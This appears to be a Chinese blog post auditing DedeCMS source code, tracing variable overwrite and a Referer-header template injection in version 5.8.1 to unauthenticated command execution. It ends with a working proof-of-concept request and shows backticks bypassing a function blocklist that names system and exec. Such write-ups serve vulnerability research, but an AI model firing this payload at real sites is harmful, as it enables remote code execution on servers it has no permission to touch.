前言

偶然看见织梦cms报了一个0day,未授权命令执行,好家伙还有这种洞。赶紧看看。
千里目实验室-dedecms未授权访问
这里吐槽一下国内的传谣能力太离谱,5.8的命令执行硬是被传成了全版本命令执行。导致我踩了不少坑,所以本文是对dedecms全版本的审计过程而非单纯的复现。

审计

前期摸索

当时看到文章,关键字为未授权、变量覆盖、模板注入、命令执行。那我第一个联想到应该是通过变量覆盖来控制模板文件的include函数,从而达到rce的目的。
那导致变量覆盖的函数,常用的为extract$$,正则搜索后,过滤dede目录下的文件(因为是未授权漏洞)。
最先注意到的是include/common.inc.php,它被包含在了config文件里,也就是说他是一个全局的文件,其中有这样一段代码:

if (!defined('DEDEREQUEST'))
{
    //检查和注册外部提交的变量   (2011.8.10 修改登录时相关过滤)
    function CheckRequest(&$val) {
        if (is_array($val)) {
            foreach ($val as $_k=>$_v) {
                if($_k == 'nvarname') continue;
                CheckRequest($_k);
                CheckRequest($val[$_k]);
            }
        } else
        {
            if( strlen($val)>0 && preg_match('#^(cfg_|GLOBALS|_GET|_POST|_COOKIE|_SESSION)#',$val)  )
            {
                exit('Request var not allow!');
            }
        }
    }

    //var_dump($_REQUEST);exit;
    CheckRequest($_REQUEST);
    CheckRequest($_COOKIE);

    foreach(Array('_GET','_POST','_COOKIE') as $_request)
    {
        foreach($$_request as $_k => $_v)
        {
            if($_k == 'nvarname') ${$_k}  = $_v;
            else ${$_k} = _RunMagicQuotes($_v);
        }
    }
}

function _RunMagicQuotes(&$svar)
{
    if(!get_magic_quotes_gpc())
    {
        if( is_array($svar) )
        {
            foreach($svar as $_k => $_v) $svar[$_k] = _RunMagicQuotes($_v);
        }
        else
        {
            if( strlen($svar)>0 && preg_match('#^(cfg_|GLOBALS|_GET|_POST|_COOKIE|_SESSION)#',$svar) )
            {
              exit('Request var not allow!');
            }
            $svar = addslashes($svar);
        }
    }
    return $svar;
}

它对REQUEST的参数进行一个变量覆盖,也就是说dedecms自带一个全局的变量覆盖,但它经过了一个严格的过滤,导致无法直接利用。但防御函数中缺少_SERVER_FILE的过滤,但没有进一步的利用点。
在这个文件中,使用了${$_k} $$_request这两种存在变量覆盖可能的用法,那我们进一步做正则搜索\${&\w+}可以找到inlcude/filter..inc.php中存在相同的用法。

$magic_quotes_gpc = ini_get('magic_quotes_gpc');
...
foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
    foreach($$_request as $_k => $_v)
    {
        ${$_k} = _FilterAll($_k,$_v);
    }
}
//_FilterAll函数仅过滤一下敏感字,并不过滤危险字符。

那我们再次获得了一个很有趣的变量覆盖,他的利用点在于它启用了magic_quotes_gpc,若PHP magic_quotes_gpc=off,则写入数据库的字符串未经过任何过滤处理。从数据库读出的字符串也未作任何处理。而它又会影响addslashes函数,所以在php7.4后删除了magic_quotes_gpc

那我们查找那些文件包含了filter.inc.php

在bookfeedback.php中,存在sql注入。
但这个注入很鸡肋,因为在dedecms中有全局的checksql函数,有兴趣的可以去看一看这个函数的过滤,堪称sql注入的完全防御,除了user()、database()这类函数没有禁用其他都被禁用。

命令执行

找到原作者的文章后,我才了解到命令执行只存在于dedecms的5.8.1版本,改版本为内测版本,你可以从github上下载。
这个版本对部分的代码做了重实现,想使用更好的方式去做展示。比如渲染。

我们可以发现在dedecms中常出现用echo返回数据

而在5.8中,开发者选择了使用模板去渲染页面

类在5.7中已经存在,但一般使用固定的模板渲染,如

这样并不存在利用空间,而5.8中提供了参数可控的模板渲染,在include/commonn.fun.php中

function ShowMsg($msg, $gourl, $onlymsg = 0, $limittime = 0)
{
    if (empty($GLOBALS['cfg_plus_dir'])) {
        $GLOBALS['cfg_plus_dir'] = '..';
    }
    if ($gourl == -1) {
        $gourl = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '';
        if ($gourl == "") {
            $gourl = -1;
        }
    }
    //···
    $litime = ($limittime == 0 ? 1000 : $limittime);
    $func = '';
    //···
    if ($gourl == '' || $onlymsg == 1) {
        //...
    } else {
       // ...
        $func .= "var pgo=0;
      function JumpUrl(){
        if(pgo==0){ location='$gourl'; pgo=1; }
      }\r\n";
        $rmsg = $func;
        //...
        if ($onlymsg == 0) {
            if ($gourl != 'javascript:;' && $gourl != '') {
                $rmsg .= "<br /><a href='{$gourl}'>如果你的浏览器没反应,请点击这里...</a>";
                $rmsg .= "<br/></div>\");\r\n";
                $rmsg .= "setTimeout('JumpUrl()',$litime);";
            } else {
                //...
            }
        } else {
            //...
        }
        $msg = $htmlhead . $rmsg . $htmlfoot;
    }
    $tpl = new DedeTemplate();
    $tpl->LoadString($msg);
    $tpl->Display();
}

关键点有这么几个

  • $gourl == -1且存在$_SERVER['HTTP_REFERER'],那么$gourl就是一个可控参数
  • $rmsg .= "<br /><a href='{$gourl}'>如果你的浏览器没反应,请点击这里...</a>"中gourl未经过滤就被拼接到rmsg中, msg参数直接被LoadString函数接收,存在注入可能

那我们继续跟进LoadString函数

 public function LoadString($str = '')
 {
     $this->sourceString = $str;
     $hashcode = md5($this->sourceString);
     $this->cacheFile = $this->cacheDir . "/string_" . $hashcode . ".inc";
     $this->configFile = $this->cacheDir . "/string_" . $hashcode . "_config.inc";
     $this->ParseTemplate();
 }

传入参数被sourceString直接接收,再跟进Display函数

 public function Display()
 {
     global $gtmpfile;
     extract($GLOBALS, EXTR_SKIP);
     $this->WriteCache();
     include $this->cacheFile;
 }

跟进,进入WriteCache函数

public function WriteCache($ctype = 'all')
{
    $fp = fopen($this->cacheFile, 'w') or dir("Write Cache File Error! ");
    flock($fp, 3);
    $result = trim($this->GetResult());
    $errmsg = '';
    if (!$this->CheckDisabledFunctions($result, $errmsg)) {
        fclose($fp);
        @unlink($this->cacheFile);
        die($errmsg);
    }
    fwrite($fp, $result);
    fclose($fp);
    //...
}

public function GetResult()
{
    if (!$this->isParse) {
        $this->ParseTemplate();
    }
    $addset = '';
    $addset .= '<' . '?php' . "\r\n" . 'if(!isset($GLOBALS[\'_vars\'])) $GLOBALS[\'_vars\'] = array(); ' . "\r\n" . '$fields = array();' . "\r\n" . '?' . '>';
    return preg_replace("/\?" . ">[ \r\n\t]{0,}<" . "\?php/", "", $addset . $this->sourceString);
}

在GetResult函数中调用了sourceString,返回拼接后的result

function JumpUrl(){
        if(pgo==0){ location='';<?echo system($c)?>;location=''; pgo=1; }
      }

但之后会经过一个CheckDisabledFunctions处理

$cfg_disable_funs = isset($cfg_disable_funs) ? $cfg_disable_funs : 'phpinfo,eval,exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source,file_put_contents,fsockopen,fopen,fwrite';

用点ctf手段就能绕过去,最简单的可以使用反引号来执行

POC:

/plus/flink.php?dopost=save
referer: ';<?echo `whoami`;?>;location='

结语

目前dedecms已经对漏洞修复,修复方法也很直接,抹掉了能直接操作gourl的机会。但挖掘的思路很值得学习。程序的功能和交互越复杂,越可能产生漏洞。


"孓然一身 , 了无牵挂"